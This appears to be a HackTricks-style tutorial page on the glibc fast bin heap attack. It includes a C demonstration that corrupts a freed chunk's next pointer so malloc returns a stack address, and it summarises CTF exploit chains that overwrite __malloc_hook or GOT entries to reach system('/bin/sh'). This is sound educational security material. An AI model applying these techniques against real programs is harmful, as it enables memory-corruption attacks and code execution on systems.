# Fast Bin Attack

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## Basic Information

For more information about what is a fast bin check this page:

{% content-ref url="bins-and-memory-allocations" %}
[bins-and-memory-allocations](bins-and-memory-allocations)
{% endcontent-ref %}

Because the fast bin is a singly linked list, there are much less protections than in other bins and just **modifying an address in a freed fast bin** chunk is enough to be able to **allocate later a chunk in any memory address**.

As summary:

{% code overflow="wrap" %}
```c
ptr0 = malloc(0x20);
ptr1 = malloc(0x20);

// Put them in fast bin (suppose tcache is full)
free(ptr0)
free(ptr1)

// Use-after-free
// Modify the address where the free chunk of ptr1 is pointing
*ptr1 = (unsigned long)((char *)&<address>);

ptr2 = malloc(0x20); // This will get ptr1
ptr3 = malloc(0x20); // This will get a chunk in the <address> which could be abuse to overwrite arbitrary content inside of it
```
{% endcode %}

You can find a full example in a very well explained code from [https://guyinatuxedo.github.io/28-fastbin\_attack/explanation\_fastbinAttack/index.html](https://guyinatuxedo.github.io/28-fastbin_attack/explanation_fastbinAttack/index.html):

```c
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

int main(void)
{
    puts("Today we will be discussing a fastbin attack.");
    puts("There are 10 fastbins, which act as linked lists (they're separated by size).");
    puts("When a chunk is freed within a certain size range, it is added to one of the fastbin linked lists.");
    puts("Then when a chunk is allocated of a similar size, it grabs chunks from the corresponding fastbin (if there are chunks in it).");
    puts("(think sizes 0x10-0x60 for fastbins, but that can change depending on some settings)");
    puts("\nThis attack will essentially attack the fastbin by using a bug to edit the linked list to point to a fake chunk we want to allocate.");
    puts("Pointers in this linked list are allocated when we allocate a chunk of the size that corresponds to the fastbin.");
    puts("So we will just allocate chunks from the fastbin after we edit a pointer to point to our fake chunk, to get malloc to return a pointer to our fake chunk.\n");
    puts("So the tl;dr objective of a fastbin attack is to allocate a chunk to a memory region of our choosing.\n");

    puts("Let's start, we will allocate three chunks of size 0x30\n");
    unsigned long *ptr0, *ptr1, *ptr2;

    ptr0 = malloc(0x30);
    ptr1 = malloc(0x30);
    ptr2 = malloc(0x30);

    printf("Chunk 0: %p\n", ptr0);
    printf("Chunk 1: %p\n", ptr1);
    printf("Chunk 2: %p\n\n", ptr2);


    printf("Next we will make an integer variable on the stack. Our goal will be to allocate a chunk to this variable (because why not).\n");

    int stackVar = 0x55;

    printf("Integer: %x\t @: %p\n\n", stackVar, &stackVar);

    printf("Proceeding that I'm going to write just some data to the three heap chunks\n");

    char *data0 = "00000000";
    char *data1 = "11111111";
    char *data2 = "22222222";

    memcpy(ptr0, data0, 0x8);
    memcpy(ptr1, data1, 0x8);
    memcpy(ptr2, data2, 0x8);

    printf("We can see the data that is held in these chunks. This data will get overwritten when they get added to the fastbin.\n");

    printf("Chunk 0: %s\n", (char *)ptr0);
    printf("Chunk 1: %s\n", (char *)ptr1);
    printf("Chunk 2: %s\n\n", (char *)ptr2);

    printf("Next we are going to free all three pointers. This will add all of them to the fastbin linked list. We can see that they hold pointers to chunks that will be allocated.\n");

    free(ptr0);
    free(ptr1);
    free(ptr2);

    printf("Chunk0 @ 0x%p\t contains: %lx\n", ptr0, *ptr0);
    printf("Chunk1 @ 0x%p\t contains: %lx\n", ptr1, *ptr1);
    printf("Chunk2 @ 0x%p\t contains: %lx\n\n", ptr2, *ptr2);

    printf("So we can see that the top two entries in the fastbin (the last two chunks we freed) contains pointers to the next chunk in the fastbin. The last chunk in there contains `0x0` as the next pointer to indicate the end of the linked list.\n\n");


    printf("Now we will edit a freed chunk (specifically the second chunk \"Chunk 1\"). We will be doing it with a use after free, since after we freed it we didn't get rid of the pointer.\n");
    printf("We will edit it so the next pointer points to the address of the stack integer variable we talked about earlier. This way when we allocate this chunk, it will put our fake chunk (which points to the stack integer) on top of the free list.\n\n");

    *ptr1 = (unsigned long)((char *)&stackVar);

    printf("We can see it's new value of Chunk1 @ %p\t hold: 0x%lx\n\n", ptr1, *ptr1);


    printf("Now we will allocate three new chunks. The first one will pretty much be a normal chunk. The second one is the chunk which the next pointer we overwrote with the pointer to the stack variable.\n");
    printf("When we allocate that chunk, our fake chunk will be at the top of the fastbin. Then we can just allocate one more chunk from that fastbin to get malloc to return a pointer to the stack variable.\n\n");

    unsigned long *ptr3, *ptr4, *ptr5;

    ptr3 = malloc(0x30);
    ptr4 = malloc(0x30);
    ptr5 = malloc(0x30);

    printf("Chunk 3: %p\n", ptr3);
    printf("Chunk 4: %p\n", ptr4);
    printf("Chunk 5: %p\t Contains: 0x%x\n", ptr5, (int)*ptr5);

    printf("\n\nJust like that, we executed a fastbin attack to allocate an address to a stack variable using malloc!\n");
}
```

{% hint style="danger" %}
If it's possible to overwrite the value of the global variable **`global_max_fast`** with a big number, this allows to generate fast bin chunks of bigger sizes, potentially allowing to perform fast bin attacks in scenarios where it wasn't possible previously. This situation useful in the context of [large bin attack](large-bin-attack) and [unsorted bin attack](unsorted-bin-attack)
{% endhint %}

## Examples

* **CTF** [**https://guyinatuxedo.github.io/28-fastbin\_attack/0ctf\_babyheap/index.html**](https://guyinatuxedo.github.io/28-fastbin_attack/0ctf_babyheap/index.html)**:**
  * It's possible to allocate chunks, free them, read their contents and fill them (with an overflow vulnerability).
    * **Consolidate chunk for infoleak**: The technique is basically to abuse the overflow to create a fake `prev_size` so one previous chunks is put inside a bigger one, so when allocating the bigger one containing another chunk, it's possible to print it's data an leak an address to libc (`main_arena+88`).
    * **Overwrite malloc hook**: For this, and abusing the previous overlapping situation, it was possible to have 2 chunks that were pointing to the same memory. Therefore, freeing them both (freeing another chunk in between to avoid protections) it was possible to have the same chunk in the fast bin 2 times. Then, it was possible to allocate it again, overwrite the address to the next chunk to point a bit before `__malloc_hook` (so it points to an integer that malloc thinks is a free size - another bypass), allocate it again and then allocate another chunk that will receive an address to malloc hooks.\
      Finally a **one gadget** was written in there.
* **CTF** [**https://guyinatuxedo.github.io/28-fastbin\_attack/csaw17\_auir/index.html**](https://guyinatuxedo.github.io/28-fastbin_attack/csaw17_auir/index.html)**:**
  * There is a heap overflow and use after free and double free because when a chunk is freed it's possible to reuse and re-free the pointers
    * **Libc info leak**: Just free some chunks and they will get a pointer to a part of the main arena location. As you can reuse freed pointers, just read this address.
    * **Fast bin attack**: All the pointers to the allocations are stored inside an array, so we can free a couple of fast bin chunks and in the last one overwrite the address to point a bit before this array of pointers. Then, allocate a couple of chunks with the same size and we will get first the legit one and then the fake one containing the array of pointers. We can now overwrite this allocation pointers to make the GOT address of `free` point to `system` and then write `"/bin/sh"` in chunk 1 to then call `free(chunk1)` which instead will execute `system("/bin/sh")`.
* **CTF** [**https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw19\_traveller/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw19_traveller/index.html)
  * Another example of abusing a one byte overflow to consolidate chunks in the unsorted bin and get a libc infoleak and then perform a fast bin attack to overwrite malloc hook with a one gadget address
* **CTF** [**https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw18\_alienVSsamurai/index.html**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html)
  * After an infoleak abusing the unsorted bin with a UAF to leak a libc address and a PIE address, the exploit of this CTF used a fast bin attack to allocate a chunk in a place where the pointers to controlled chunks were located so it was possible to overwrite certain pointers to write a one gadget in the GOT
  * You can find a Fast Bin attack abused through an unsorted bin attack:
    * Note that it's common before performing fast bin attacks to abuse the free-lists to leak libc/heap addresses (when needed).
* [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
  * We can only allocate chunks of size greater than `0x100`.
  * Overwrite `global_max_fast` using an Unsorted Bin attack (works 1/16 times due to ASLR, because we need to modify 12 bits, but we must modify 16 bits).
  * Fast Bin attack to modify the a global array of chunks. This gives an arbitrary read/write primitive, which allows to modify the GOT and set some function to point to `system`.

{% content-ref url="unsorted-bin-attack" %}
[unsorted-bin-attack](unsorted-bin-attack)
{% endcontent-ref %}

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{% endhint %}
